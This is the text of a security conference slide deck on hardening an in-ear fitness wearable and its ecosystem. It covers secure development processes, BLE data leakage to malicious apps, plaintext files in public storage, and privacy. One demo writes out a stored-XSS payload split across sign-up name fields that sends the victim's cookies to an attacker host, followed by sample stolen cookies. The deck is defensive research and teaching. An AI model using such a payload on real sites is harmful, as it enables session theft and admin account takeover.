Securing your in-ear fitness coach: Challenges inhardening next generation wearables

Kavya Racharla
Sumanth NaropanthWho are we?
Kavya Racharla•••

Security Research Manager — Sports Group, IntelOracle & Qualcomm

Sumanth Naropanth•••Founder and CEO — Deep Armor
Intel, Palm/HP, Sun Microsystems

Security consulting, vulnerability testing, SDL and training services for emerging technologies• www.deeparmor.com | @deep_armor•Security problems in New Devices
How do we address them?

Agenda•Introduction to an in-ear fitness coach•

Unshackling from traditional SDL methods•Securely designing a software fitness coach•

Hardware, Firmware & Software paradigms•Ecosystem Security•

Real world problems - weaknesses and demos•

PrivacyIoT/Wearable Ecosystem
Back End
Services

HTTP/HTTPSHTTP/HTTPSBT/BLE/WiFi/NFC

Gateway

Gateway

HTTP/HTTPS

Zigbee/Z-wave

Node

Node

Node

Node

Node

Node
BLE/ANT+Sensors

Sensors

Sensors

Sensors

BT/BLE/NFC

Case Study: In-ear fitness coach
Wearable = Comfortable
Smart
Untethered
Continuous Learning
Data/Analytics
Better Quality of Life

Securing an in-ear fitness coachUnshackling from traditional SDL

Challenges: Securing a never-before gadget•

Lack of tactical SDL frameworks for rapid time-to-market products with constantly
evolving requirements•

Diverse, non-standard and evolving communication protocols•

Weaknesses in adoption of protocol specifications•

Long lives for IoT products•

Privacy•

Nascent research in IoT security

Challenges - Technical•Collection of personal data and PII is higher•
•
•
•

•

Limited SW stack —> security may get compromised••••Geo-location information
Biometric data
Sensor data
Payment services

Often FW running on micro-controllers
Field updates are difficult
Asymmetric key crypto, TEEs, etc. are heavy

Multi-tier, multi-tenant product architecture••

Cross-domain flows
Multiple exposure points as a consequenceProposal : Securing a never-before gadget•

Next-gen SDL•••

For IoT, wearable and cloud technologies. Especially when they all come together
Ecosystem security
Agile

•

Security, Privacy and Legal woven into the development cycle•

Leveraging industry standards

Introducing SPDL
Architecture
Reviews

Threat Modeling&Attack Trees

Privacy Req.; Data
Access Review; Stakeholder
identificationSecurity Code
Reviews& Static CodeAnalysis

Penetration
Testing

Incident
Response

Privacy test
cases & Plan

Privacy Sign-off,
Data
Availability

Legal sign-off& Incident
Response

BetaLaunch
toPost Launch

Product Development Lifecycle

Program Conception to Pre-Alpha

Alpha

Designing SPDL

Security topics
CloudMobile

DeviceIoT/Wearables

Hardware & Firmware Security Paradigms
Device Software
Service layer
security

Key
Management

Protocolsecurity

Secure Boot

Data
sandboxing

SecureFOTA

Secure Erase

TEE

Port access restrictions& lockdown

Data At Rest
Encryption

SecureStorage

Device Hardware

Signed libraries

SecureDebug

SW Security Paradigms: application SW
Multi-app <—> multi-device
communication

Secure implementation: Spec andCodeSecure storage of app specific data,keys, logs, databases and user
specific data

App Store Scanning

3rd Party SDK security

Privacy: Opt-in/Opt-out policy
enforcement

HW backed keystore/keychain

Cloud Software & Infrastructure Security
Secure storageof user andenterprise data,
At RestEncryption

Secure Key
Management andProvisioning

User & Roles
management
Privacy: Data storage, sharing
and retention policies

Security DevOps

Micro-services
security

Infrastructure hardening
Secure configuration

Web PortalSecurity (HTML/JS attacks

Ecosystem security challenges

Design weaknesses incomms protocol adoption

Secure key negotiationand distribution

Network Security

Gateway/Node Updates

Gateway/Node Updates

Secure key negotiationand distribution
Secure Provisioning
Design weaknesses incomms protocol adoption

Real world security problems

Demo 1: Ecosystem Challenges

Demo 1: Ecosystem overview

BT/BLE/ANT+BT/BLE

HTTPSBack EndServices

Device communication
Device Commands:• Put device into recoverymode• Do a FW update• Change Device (BLE) nameNotifications:• Social apps
• Calls and texts

Information:• User activity data
• User profile updates• Application action (calls, musiccontrol)• Call/text/social updates(sometimes)

The Problem – Prelude
Device Commands:• Put device into recoverymode• Do a FW update• Change Device (BLE) name
Notifications:• Social apps
• Calls and texts

E
BL PTEDYRCNE
ATTACKER

Information:• User activity data
• User profile updates• Application action (calls, musiccontrol)• Call/text/social updates(sometimes)

The Problem
Device Commands:• Put device into recoverymode• Do a FW update• Change Device (BLE) name
Notifications:• Social apps
• Calls and texts

EBL PTEDYRCNEATTACKER

Information:• User activity data
• User profile updates• Application action (calls, musiccontrol)• Call/text/social updates(sometimes)

Root CauseAll applications on Android and iOS can subscribe to the BT
service and get the data on the same BT channels or BLE
characteristics as the legitimate app•

Android• android.permission.BLUETOOTH• android.permission.BLUETOOTH_ADMIN – quote:•iOS• Core Bluetooth (CB) Framework• Centrals (client/phone) and Peripherals (server/wearable) classes

Example – Wearable Ecosystem 1
Uses BLE• Proprietary code
• Existing market research for format of messages and headers• Malware app subscribes to the known BLE characteristics gets data synced withthe legit app•

Example – Wearable Ecosystem 1

Example – Wearable Ecosystem 2
Similar, but with a twist• Malware application cannot send commands to the wearable by itself• Legitimate app opens a connection to the device• The malware app piggybacks to send commands to the wearable•

Moral: Partial security does not help
• Protect not just the handshake but every
messageExample – Wearable Ecosystem 2

Demo 2: Protecting User data in logs

Demo 2: Environment
Coach commentary

Language definitions

Dialogue definitions

The Problem•

Coach commentary, language definitions and dialogue stored as PLAIN TEXT files•

FIT files and JSON files stored in public storage•

Due to private storage limitations•

Contains PII and IP•

Attacker can tamper with or copy over the text files•••

DoS
Code execution
Accessible by malicious apps

Our Recommendation•Avoid public storage whenever possible•

Support for encryption•

Keys must be user specific or application specific to prevent BORE•

Support for signing dialogue files or any sensitive information in public storage•

Capability to delete/ opt-out of dialogue logging••

CloudAppDemo 3: Admin portal takeover

Demo 3: Ecosystem overview

HTTPS

BT/BLE

User portal : Login and sign-up
User portal : Connect with friends
User portal : Comment on friends profile
User portal : Profile and activity mgmt.
Cloud PortalAdmin portal : Remote Device mgmt.
Admin portal : Data mgmt.

Target : Sign-up and Profile pages

Exploit Scenario•

Attacker uses the “friend request” functionality on user portal•“Friend request” loads when victim logs into his/ her account•Victim takes no action to view the invite/accept the invite•

Attacker exploits a XSS vulnerability in the user portal/ sign-up pages•

Uses two accounts to launch the attack••

Gives 2X number of characters for the exploit code
Exploit code expandable up to 5 notifications (or 5 “friend” requests)

Exploit Scenario: The attack
First Name:
Arya<script>i=new Image();u=Last Name:navigator.userAgent</script>
Email:
arya@stark.com

First Name:<script>i.src='http://x0?c=’
Last Name:+document.cookie+u</script>Jon
Email:
jon@stark.com

Victim - logs inAttacker’s c&c

Victim’s cookies and UA_ga=GA1.2.1543537304.1450072994;_gat=1;

engageUser=ads9hnrfj7a3uhd9cnd8esa4g7;_ra=0.100149.1450085069;

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/47.0.2526.73 Safari/537.36

Access to admin portal•

Victim = Admin!

•Cloud -> Remote device management

ATTACKER’S BROWSER SEAMLESSLY LAUNCHES ALL PAGES OF THE VICTIMThe Attack•

Stolen admin credentials used to access admin portal
Remote device take-over• Unauthorized access to user profile data
• Unintended access to user accounts• Malicious FW updates rolled-out••

Several Security and privacy violations!

Privacy•

Live on your body or vicinity => access to wealth of PII/sensitive data
• What is PII or personal data?

•Data Management• Collector/owner/processor/..
• 3rd party data access•

Data retention and deletion policies

Regulatory Guidelines and Privacy Laws•

Geo/Country based restrictions for collecting, storing and retaining data
• US
• GDPR• …

•

Data breaches and disclosuresPrivacy Breaches

Quantifying Privacy Vulnerabilities• Security Vulnerabilities are scored and rated• Privacy vulnerabilities?

Summary•

Rethink SDL• Shift-left• Agile•Old Vulnerabilities manifest in new ways
Ecosystem•

Protocols

Data and Privacy

Integration

Interoperability

Thanks!

(and Q&A)@kavyaracharla and @snaropanthSecurity & privacy assessments, SDL and training services for emerging technologies
www.deeparmor.com | @deep_armor | info@deeparmor.com